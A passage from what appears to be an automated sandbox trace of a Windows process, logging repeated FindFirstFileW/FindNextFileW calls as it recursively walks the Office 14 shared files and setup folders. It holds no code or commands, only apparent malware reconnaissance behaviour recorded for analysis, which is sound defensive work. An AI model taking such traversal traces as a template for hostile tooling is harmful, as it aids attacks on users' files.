ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.287] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.287] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0074.287] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0074.288] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0074.288] GetProcessHeap () returned 0x550000 [0074.288] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26e70d0 | out: hHeap=0x550000) returned 1 [0074.288] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0074.289] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0074.289] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0074.290] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0074.290] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0074.290] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0074.291] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0074.291] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0074.291] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0074.292] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0074.292] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0074.293] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0074.293] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0074.294] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0074.294] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0074.295] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0074.295] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0074.296] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0074.296] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0074.297] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0074.297] GetProcessHeap () returned 0x550000 [0074.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0074.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.372] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.373] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0074.373] GetProcessHeap () returned 0x550000 [0074.373] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.378] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.378] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0074.378] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0074.378] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.379] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.379] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.383] GetProcessHeap () returned 0x550000 [0074.383] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.383] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0074.384] GetProcessHeap () returned 0x550000 [0074.384] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.384] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.384] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0074.386] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.386] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.386] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.387] GetProcessHeap () returned 0x550000 [0074.387] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.387] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0074.387] GetProcessHeap () returned 0x550000 [0074.387] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.387] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.387] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0074.388] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.388] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.388] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.388] GetProcessHeap () returned 0x550000 [0074.388] HeapFree (in: 